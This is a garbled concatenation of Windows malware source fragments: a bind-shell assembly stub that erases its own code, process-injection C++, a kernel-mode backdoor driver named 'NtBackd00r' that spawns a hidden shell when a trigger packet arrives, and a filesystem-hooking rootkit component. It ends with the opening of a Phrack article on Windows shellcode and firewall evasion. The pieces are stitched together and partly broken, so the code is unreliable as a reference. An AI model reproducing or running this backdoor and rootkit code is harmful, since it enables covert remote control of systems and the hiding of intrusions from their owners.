mov addr.sin_addr,INADDR_ANY
l_listen:
call _listen,sock,1
or eax, eax
jnz quit
ShellCycle:
RunCmd:
;int 3
;Zero StartInf
cld
lea edi,StartInf
xor eax,eax
mov ecx,SIZE STARTUPINFO
rep stosb
;Fill StartInf. Shell will be bound to socket
mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov eax, sock2
mov StartInf.hStdOutput,eax
mov StartInf.hStdError,eax
mov StartInf.hStdInput,eax
mov StartInf.cb,SIZE STARTUPINFO
;Start shell
xor ebx,ebx
lea eax,ProcInf
push eax
lea eax,StartInf
push eax
push ebx
push ebx
push CREATE_NO_WINDOW
push 1
push ebx
push ebx
laa eax,CmdLine
push eax
push ebx
call _CreateProcessA
;To avoid hanging sessions
call _closesocket,sock2
IFDEF MULTIPLE_CONNECT
jmp ShellCycle
ENDIF
quit:
call _closesocket,sock
call _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push MEM_RELEASE
xor ebx,ebx
push ebx
push OFFSET Start
push ebx
push _ExitThread
jmp _VirtualFree
main endp
LoadFunctions:
; get the string length of the target Api
mov edi, FuncNamesTable
mov ecx, MAX_API_STRING_LENGTH
xor al, al
repnz scasb
mov FuncNameEnd,edi
mov ecx, edi
sub ecx, FuncNamesTable ; ECX -> Api string length
mov ecx,FuncNameEnd
mov FuncNamesTable,ecx
mov ebx,FuncPtrsTable
mov DWORD PTR [ebx],eax
mov esi,PEHeader
cmp BYTE PTR [ecx],0
jnz LoadFunctions
Quit:
; shutdown seh frame
pop fs:dword ptr[0]
add esp, 4
ret
ExceptContinue:
mov edi, dwDllBase
jmp ExceptCont
GetDllBaseAndLoadFunctions endp
KernelSearchSehHandler PROC C
pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov eax, pContext
assume eax:ptr CONTEXT
sub dword ptr [eax].cx_Edi,010000h
mov eax, 0 ;ExceptionContinueExecution
ret
KernelSearchSehHandler ENDP
KERNEL32StringTable:
szCreateThread db "CreateThread",0
szGetThreadContext db "GetThreadContext",0
szSetThreadContext db "SetThreadContext",0
szExitThread db "ExitThread",0
szLoadLibrary db "LoadLibraryA",0
szCreateProcessA db "CreateProcessA",0
szSleep db "Sleep",0
szVirtualFree db "VirtualFree",0
db 0
szWSOCK32 db "WS2_32.DLL",0
WS2_32StringTable:
szsocket db "WSASocketA",0
szbind db "bind",0
szlisten db "listen",0
szaccept db "accept",0
szWSAStartup db "WSAStartup",0
szclosesocket db "closesocket",0
szWSACleanup db "WSACleanup",0
db 0
NTDLLStringTable:
szZwOpenThread db "ZwOpenThread",0
szZwAlertThread db "ZwAlertThread",0
db 0
CmdLine db "cmd.exe",0
ALIGN 4
CLID_here CLIENT_ID <0>
;----------------------------------------------
EndFile:
end Start
namespace NT {
DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)
struct {
NT::PORT_MESSAGE PortMessage;
CSRSS_MESSAGE CsrssMessage;
PROCESS_INFORMATION ProcessInformation;
NT::CLIENT_ID Debugger;
ULONG CreationFlags;
ULONG VdmInfo[2];
} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0},
0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};
// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
NT::PUNICODE_STRIN
G ImageFile,
NT::PUNICODE_STRIN
G DllPath,
NT::PUNICODE_STRIN
G CurrentDirectory,
NT::PUNICODE_STRIN
G CommandLine,
ULONG
CreationFlag,
NT::PUNICODE_STRIN
G WindowTitle,
NT::PUNICODE_STRIN
G Desktop,
NT::PUNICODE_STRIN
G Reserved,
NT::PUNICODE_STRIN
G Reserved2){
NT::PROCESS_PARAMETERS* lpp;
ULONG Size=sizeof(NT::PROCESS_PARAMETERS);
if(ImageFile) Size+=ImageFile->MaximumLength;
if(DllPath) Size+=DllPath->MaximumLength;
if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
if(CommandLine) Size+=CommandLine->MaximumLength;
if(WindowTitle) Size+=WindowTitle->MaximumLength;
if(Desktop) Size+=Desktop->MaximumLength;
if(Reserved) Size+=Reserved->MaximumLength;
if(Reserved2) Size+=Reserved2->MaximumLength;
lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added
(if any)
lpp->hStdInput=0;
lpp->hStdOutput=0;
lpp->hStdError=0;
if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory-
>MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory-
>Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength;
}
if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath-
>Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength;
}
if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile-
>Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength;
}
if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine-
>Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength;
}
if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle-
>Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength;
}
if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop-
>Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength;
}
if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved-
>Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength;
}
/* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2-
>Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength;
}*/
}
NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\
");
pp->hStdInput=hPipe;
pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;
pp->Environment = InitEnvironment(hProcess);
ULONG n = pp->Size;
PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
RtlDestroyProcessParameters(pp);
}
namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}
//To try!
ULONG buflen = PAGE_SIZE*2;
*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}
//_asm int 3;
oa.ObjectName = 0;
NT::ZwClose(hFile);
NT::SECTION_IMAGE_INFORMATION sii;
NT::ZwQuerySection(hSection, NT::SectionImageInformation,
&sii, sizeof sii, 0);
NT::ZwClose(hSection);
ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ sii.StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- sii.StackCommit;
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
NT::CLIENT_ID cid;
NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
&oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT |
FILE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
InformCsrss(hProcess, hThread,
ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return int(cid.UniqueProcess);
}
268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
> IN DWORD nStdHandle,
> IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
> IN LPCWSTR lpFileName,
> IN DWORD dwDesiredAccess,
> IN DWORD dwShareMode,
> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition,
> IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
> VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
> wchar_t PipeName[PIPE_NAME_MAX];
> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
> f_SetStdHandle pSetStdHandle;
> f_CreateFileW pCreateFileW;
> f_EntryPoint EntryPoint;
> #ifdef _DEBUG
> f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
> HANDLE hPipe;
>
> __asm int 3;
> hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
> GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL,
> OPEN_EXISTING,
> 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL);
> embedded_data->pGetLastError();
> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
> hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
> GENERIC_WRITE | SYNCHRONIZE,
> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL,
> OPEN_EXISTING,
> 0,
> NULL);
> embedded_data->pGetLastError();
> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE)
> {
> embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
> }
> embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/,
PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG
pNewStack)
> {
> s_data2embed data2embed;
> PVOID pKERNEL32;
> NT::UNICODE_STRING ModuleFileName;
>
> _asm int 3;
>
> *pCode = 0;
> *pNewStack = 0;
> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
> LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
> if (!pKERNEL32) return;
> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32,
"SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32,
"CreateFileW");
> #ifdef _DEBUG
> data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32,
"GetLastError");
> #endif
> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
> data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
> wcscpy(data2embed.PipeName, PipeName);
> //wcscpy(data2embed.WPipeName, WPipeName);
> char* p = (char*)pStack - sizeof_code2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed,
0)) return;
> *pCode = (ULONG)p;
>
> p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed,
0)) return;
>
> PVOID pData = (PVOID)p;
> p -= sizeof pData;
> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
> p -= 4;
> *pNewStack = (ULONG)p;
> }
>
317a434,437
> ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint,
stack.ExpandableStackBase, &newEIP, &NewStack);
> if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
< context.Esp = ULONG(stack.ExpandableStackBase) - 4;
< context.Eip = ULONG(sii.EntryPoint);
---
> //loader code is on the stack
> context.Esp = NewStack;
> context.Eip = newEIP;
#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"
PVOID FindNT()
{
return FindModule("ntdll.dll");
}
//Evaluate pointers:
// - to directory of exported functions
PIMAGE_EXPORT_DIRECTORY exports
= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
// - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals
PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
// - to table of names
PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"
NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
}
NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;
NTSTATUS SutdownFiltering()
{
if ((pDeviceObject)&&(pFileObject))
{
globalresult=SetupFiltering(NULL);
ObDereferenceObject(pFileObject);
return globalresult;
}
else return STATUS_SUCCESS;
}
NTSTATUS InitFiltering()
{
UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0};
//_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
pDeviceObject=NULL;
retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|
GENERIC_WRITE,&pFileObject,&pDeviceObject);
if ((!pDeviceObject)&&(!DSN.Length))
{
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentCo
ntrolSet\\Services\\IpFilterDriver");
ZwLoadDriver(&DSN);
goto retry;
}
if (pDeviceObject)
{
KeInitializeEvent(&Event,NotificationEvent,FALSE);
return SetupFiltering(&PacketFilter);
} else return STATUS_OBJECT_NAME_NOT_FOUND;
}
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}
unsigned char
keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
)
{
if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
{
HANDLE ThreadHandle;
KeSetEvent(&StartShellEvent, 0, FALSE);
}
return PF_PASS;
}
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
#pragma code_seg("INIT")
#if (DBG)
DbgPrint("MPFD:In DriverEntry\n");
#endif
UNREFERENCED_PARAMETER(RegistryPath);
status=InitFiltering();
if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL,
OBJ_CASE_INSENSITIVE};
status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr,
0, NULL, ShellStarter, &StartShellEvent);
return status;
}
// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0
#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif
extern "C" {
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForMultipleObjects(
IN ULONG HandleCount,
IN PHANDLE Handles,
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetEvent(
IN HANDLE EventHandle,
OUT PULONG PreviousState OPTIONAL
);
}
/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
if (m_pDummyDevice == NULL)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma warning( disable : 4706 )
//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that
// the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
if (m_pListener)
{
// Disable network event notifications
m_pListener->SetEvents(FALSE);
while ( p = m_ActiveSessionList.RemoveHead() )
{
// Thread handle must be extracted before dele p
HANDLE hWorkerThread = p->hDataPumpThread;
// By default, this method will perform an
// abortive disconnect (RST)
Status = p->disconnect();
ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
delete p;
// It's required to wait for termination of worker
threads,
// or else unloading driver will cause BSOD
if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread,
FALSE, NULL);
}
delete m_pDummyDevice;
//
delete (uchar *)ApcContext;
}
#define SENDS_QUEUED_THRESHOLD 3
Session* thiz=(Session*)thiz1;
Pipes=thiz->m_Pipes;
ResendInterval.QuadPart = (__int64)1E6; //0.1c
//Create FIFO
//Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000,
NonPagedPool);
//Lock socket to avoid sudden deletion of it
thiz->Lock();
UNREFERENCED_PARAMETER(DeviceObject);
//Start shell
loc_ChildPID = StartShell(&loc_hPipe);
if (loc_ChildPID)
{
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread,
THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
} else {
cancel:
//In case of error or cancel close pipe, send error message to client,
//and disconnect it
ZwClose(loc_hPipe);
char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
desc->thiz->disconnect();
}
cancel2:
//Cleanup
IoFreeWorkItem(desc->WorkItem);
DISABLE_INTS
desc->WorkItem = NULL;
if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
RESTORE_INTS
ExFreePool(desc1);
#undef desc
}
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
uint OptionsLength, PVOID
Options)
{
// Connecting: print the IP address of the requestor and grant the
connection
#if(DBG)
char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr,
sizeof(szIPaddr));
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}
Session::~Session()
{
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
delete pWBytePipe;
}
return Indicated;
}
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer
delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt);
}
if (status == TDI_SUCCESS) {
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
} else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING)
delete Data;
}
// end of file
---[ 8.10 - Intercept.cpp
extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")
/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h
#pragma pack(push, 4)
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;
ULONG EaSize;
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;
ULONG EaSize;
USHORT ShortFileNameLength;
WCHAR ShortFileName[12];
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;
#pragma pack(pop)
/////////////////////////////////////////////////////////////////////
// Global variables
PDRIVER_OBJECT pDriverObject;
PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp,
OldDirCtlDisp;
PFAST_IO_READ OldFastIoReadDisp;
PFAST_IO_WRITE OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;
/////////////////////////////////////////////////////////////////////
// Functions
}
//If appropriate Control flag was set,...
if (
((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp-
>IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp-
>IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status
== STATUS_CANCELLED)) )
//...call original CompletionRoutine
return CXT->CompletionRoutine(
DeviceObject,
Irp,
CXT->Context);
else return STATUS_SUCCESS;
}
#undef FName
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectPath,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState
OPTIONAL,
IN ACCESS_MASK DesiredAccess
OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext
OPTIONAL,
OUT PVOID *ObjectPtr
);
TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
//hook only if handler exists
if (*TargetFn)
{
if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
}
}
_asm int 3;
pDriverObject = NULL;
RtlInitUnicodeString(&DeviceName, pwszDeviceName);
status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL,
0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
if (pDriverObject)
{
//Raise IRQL to avoid context switch
//when some pointer is semi-modified
KeRaiseIrql(HIGH_LEVEL, &OldIrql);
//hook dispatch functions
InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp,
NewReadWriteDisp);
InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp,
NewReadWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject,
&OldQueryDisp, NewQueryDisp);
InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject,
&OldSetInfoDisp, NewSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject,
&OldDirCtlDisp, NewDirCtlDisp);
//hook FastIo dispatch functions if FastIo table exists
if (pDriverObject->FastIoDispatch)
{
//�� ������ ����� ���� � w2k [rus]
//It would be better to copy FastIo table to avoid
//messing with kernel memory protection, but it works as
it is
OldFastIoReadDisp = pDriverObject->FastIoDispatch-
>FastIoRead;
pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
OldFastIoWriteDisp = pDriverObject->FastIoDispatch-
>FastIoWrite;
pDriverObject->FastIoDispatch->FastIoWrite =
NewFastIoWrite;
OldFastIoQueryStandartInfoDisp = pDriverObject-
>FastIoDispatch->FastIoQueryStandardInfo;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo =
NewFastIoQueryStandartInfo;
}
KeLowerIrql(OldIrql);
}
return status;
}
==Phrack Inc.==
--[ Contents
1. Abstract
2. Introduction to shellcode
a. Why shellcode?
b. Windows shellcode skeleton
i. Getting EIP
ii. Decoder
iii. Getting address of required function
iv. Locating Kernel32 base memory
v. Getting GetProcAddress()
vi. Getting other functions by name
vii. Spawning a shell
c. Compiling our shellcode
3. The connection
a. Bind to port shellcode
i. Bind to port shellcode implementation
ii. Problem with Bind to port shellcode
b. Reverse connect
i. Reverse connect shellcode implementation
ii. Problem with reverse connect shellcode
4. One-way shellcode
a. Find socket shellcode
i. Problem with find socket shellcode
b. Reuse address shellcode
i. Reuse address shellcode implementation
ii. Problem with reuse address shellcode
c. Rebind socket
i. Rebind socket shellcode implementation
d. Other one-way shellcode
5. Transferring file using shellcode
a. Uploading file with debug.exe
b. Uploading file with VBS
c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code
--[ 1. Abstract
Firewall is everywhere in the Internet now. Most of the exploits
released in the public have little concern over firewall rules
because they are just proof of concept. In real world, we would
encounter targets with firewall that will make exploitation harder.
We need to overcome these obstacles for a successful penetration
testing job. The research of this paper started when we need to take
over (own) a machine which is heavily protected with rigid firewall
rules. Although we can reach the vulnerable service but the strong
firewall rules between us and the server hinder all standard exploits
useless.
Why shellcode? Simply because it is the simplest way that allows the
attacker to explore the target system interactively. It might give
the attacker the ability to discover internal network, to further
penetrate into other computers. A simple "net view /domain" command
in Windows box would review many other easy targets.
However, spawning a shell is not the only thing you can do in your
payload. As demonstrated by LSD in their Win32 ASM component, you can
create a payload that loop and wait for command from the attacker.
The attacker could issue a command to the payload to create new
connection, upload/download file or spawn a shell. There are also a
few others payload strategies in which the payload will loop and wait
for additional payload from the attacker.
Shellcode usually start by getting to know where you are during the
execution by grapping the EIP value. And then, a decoding process
will take place. The process will then jump into the decoded memory
area where execution can continue. Before we can do anything useful,
we need to find addresses of all functions and API that we need to
use in the shellcode. With that, we can setup a socket, and finally
spawn a shell.
* Getting EIP
* Decoder
* Getting addresses of required functions
* Setup socket
* Spawning shell
450000:
